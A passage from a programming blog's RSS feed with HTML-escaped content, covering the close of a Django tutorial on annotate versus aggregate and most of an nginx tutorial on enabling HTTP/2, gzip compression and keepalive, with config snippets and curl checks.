&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;total_orders&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we try to get the query from &lt;em&gt;aggregate&lt;/em&gt; the Python interpreter will return an error because, &lt;strong&gt;unlike &lt;em&gt;annotate&lt;/em&gt;, &lt;em&gt;aggregate&lt;/em&gt; returns a dictionary&lt;/strong&gt;, not a queryset.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback (most recent call last):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;console&amp;gt;&amp;#34;&lt;/span&gt;, line &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;module&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AttributeError: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dict&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; has no attribute &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;query&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;concatenate-aggregate-at-the-end-of-the-queryset&#34;&gt;Concatenate aggregate at the end of the queryset&lt;/h3&gt;&#xA;&lt;p&gt;In the same way we can concatenate an &lt;em&gt;annotate&lt;/em&gt; with an &lt;em&gt;aggregate&lt;/em&gt;, &lt;strong&gt;as long as the aggregate is at the end of the concatenation&lt;/strong&gt;, because &lt;strong&gt;aggregate does not return a query&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In addition, &lt;em&gt;aggregate&lt;/em&gt; has access to the annotations we add to each element using &lt;em&gt;annotate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Avg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;aggregate(Avg(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders_total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders_total__avg&amp;#39;&lt;/span&gt;: Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;700&amp;#39;&lt;/span&gt;)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe 100+200=300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Lovecraft 300+400=700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Barker 500+600=1100&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# (300+700+1100)/3 = 700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how &lt;em&gt;annotate&lt;/em&gt; adds &lt;em&gt;orders_total&lt;/em&gt; to each element of the queryset, and then &lt;em&gt;aggregate&lt;/em&gt; uses that annotation to calculate the average using &lt;em&gt;Avg&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you know how to use &lt;em&gt;aggregate&lt;/em&gt; and &lt;em&gt;annotate&lt;/em&gt; correctly you can greatly reduce the number of queries to the database and thus greatly reduce the response time between each request.&lt;/p&gt;&#xA;&lt;p&gt;Remember that if you want to go even deeper into the subject you should read &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/topics/db/aggregation/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official Django documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The computer screen illuminated my face full of despair, I rubbed my head in despair, while I googled: &amp;ldquo;Django annotate&amp;rdquo;; one of the ORM functions that I could not understand. Did it happen to you too, I bet it did. I had already read the documentation but it didn&amp;rsquo;t seem clear enough and, to top it off, I often confused it with its evil twin: aggregate. After visiting several stackoverflow questions and multiple English blogs I was able to understand them both. These notes are the result of that search, it is the explanation about django annotate and aggregate in Django that I would have liked to read years ago.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Nginx keepalive, gzip, http2: better performance on your website</title>
      <link>https://coffeebytes.dev/en/linux/nginx-keepalive-gzip-http2-better-performance-on-your-website/</link>
      <pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/nginx-keepalive-gzip-http2-better-performance-on-your-website/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Some months ago I was reviewing the Lighthouse settings for a website when I realized that it did not comply with certain recommendations, it was using http/1.1, no gzip compression, no cache. Later I fixed the problems, I&amp;rsquo;ll tell you how below. In this post I talk about the following nginx features: keepalive, gzip, cache and http2 and how you can modify them to improve your &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; values.&lt;/p&gt;&#xA;&lt;h2 id=&#34;activate-http2-in-nginx&#34;&gt;Activate http2 in nginx&lt;/h2&gt;&#xA;&lt;p&gt;As surprising as it may sound, many servers do not enable HTTP/2 by default, so if this is your case, you can enable it for better performance. The HTTP/2 protocol is more efficient than HTTP/1, so you get better indicators using it.&lt;/p&gt;&#xA;&lt;p&gt;First we go to the file where we have enabled our website in nginx:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo vim /etc/nginx/sites-enabled/mi-sitio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once in the file we are going to add http2 to the end of our &lt;em&gt;listen&lt;/em&gt; directive, in this case on port 443, for HTTPS. If you serve your content without using HTTPS you can add it to port 80.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/sites-enabled/mi-sitio&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    listen &lt;span style=&#34;color:#ff9f43&#34;&gt;443&lt;/span&gt; ssl http2; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    listen &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;::&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:443 ssl http2;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that &lt;strong&gt;after each change we make it will be necessary to reload nginx&lt;/strong&gt; to adopt the new values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl reload nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now make a request to our website we can check if our content is being served with the HTTP/2 protocol.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl https://tu-sitio-web.com -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/2 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;enable-gzip-compression-in-nginx&#34;&gt;Enable gzip compression in nginx&lt;/h2&gt;&#xA;&lt;p&gt;The gzip compression allows us to reduce the size of the resources we send, it is not usually enabled by default.&lt;/p&gt;&#xA;&lt;p&gt;To enable it we are going to modify the nginx configuration file. Remember that you can also enable them individually within the http directive on each website, but for this case we will place the cache universally.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vim /etc/nginx/nginx.conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;If we go to the Gzip section we will see several commented values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_disable &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msie6&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_vary on;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_proxied any;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_comp_level 6;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_buffers 16 8k;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_http_version 1.1;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip min_length 256;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Among the values discussed are the minimum length to compress, the compression level, whether we want to apply compression for proxy requests, the MIME types that will receive compression and other options.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s break them all down. We will also add a few MIME types to the &lt;em&gt;gzip_types&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_disable &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msie6&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_vary on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_proxied any;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_comp_level 6;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_buffers &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt; 8k;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_http_version 1.1;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip min_length 256;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss application/vnd.ms-fontobject application/x-font-ttf font/opentype image/svg+xml image/x-icon image/jpg image/png;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that you can query all available MIME types in a friendly way by doing a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/get-to-know-bat-in-linux-the-syntax-highlighting-cat/&#34;&gt;bat&lt;/a&gt;&#xA; or a cat to the following file:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo bat /etc/nginx/mime.types&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you only need to place the ones you consider suitable for your application. Remember also that &lt;strong&gt;using compression makes the transfer to the user lighter but increases the server load when compressing&lt;/strong&gt;, so you have to evaluate what is convenient to compress and what is not.&lt;/p&gt;&#xA;&lt;p&gt;If you do a &lt;em&gt;curl&lt;/em&gt; to any of the resources for which you enabled compression with the &amp;ldquo;Accept-Encoding: gzip&amp;rdquo; header you will see that the response will be compressed. Remember to reload the server for the changes to take effect.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Accept-Encoding: gzip&amp;#34;&lt;/span&gt; https://tu-sitio-web.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-frame-options: DENY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-content-type-options: nosniff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-encoding: gzip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;nginx-keepalive&#34;&gt;Nginx keepalive&lt;/h2&gt;&#xA;&lt;p&gt;The nginx configuration value, keepalive_timeout, tells the server &lt;strong&gt;how long to keep the TCP connection active for multiple HTTP responses&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Over simplifying this concept, we can find a similarity between a TCP connection and a telephone call. Let&amp;rsquo;s imagine two scenarios:&lt;/p&gt;&#xA;&lt;p&gt;The first scenario is as follows: you are asked to take care of your nieces and nephews and your worried siblings need you to confirm in a loud voice, every two hours, that everything is fine. It wouldn&amp;rsquo;t make sense to make a phone call and keep calling all night just to tell them &amp;ldquo;everything is fine&amp;rdquo; every two hours, it&amp;rsquo;s better to hang up and repeat the call after that time. This way we do not keep the line busy. In other words, the best thing to do is to call, confirm that everything is fine and hang up.&lt;/p&gt;&#xA;&lt;p&gt;The second scenario goes like this: you are talking to your best friend, you have a lot of things to tell her, so you call her, the call lasts a long time and, the whole time you are exchanging messages, one after the other. It wouldn&amp;rsquo;t make sense to hang up and call between each exchange of messages, it&amp;rsquo;s better to keep her until you&amp;rsquo;ve told her (and she you) everything you have to tell her.&lt;/p&gt;&#xA;&lt;p&gt;The value of nginx keepalive will be the duration of this call, in the first scenario it is short, in the second scenario long, which is better? that value is up to you to decide, based on the behavior of your users, the default value is 75, I will use a 65.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; 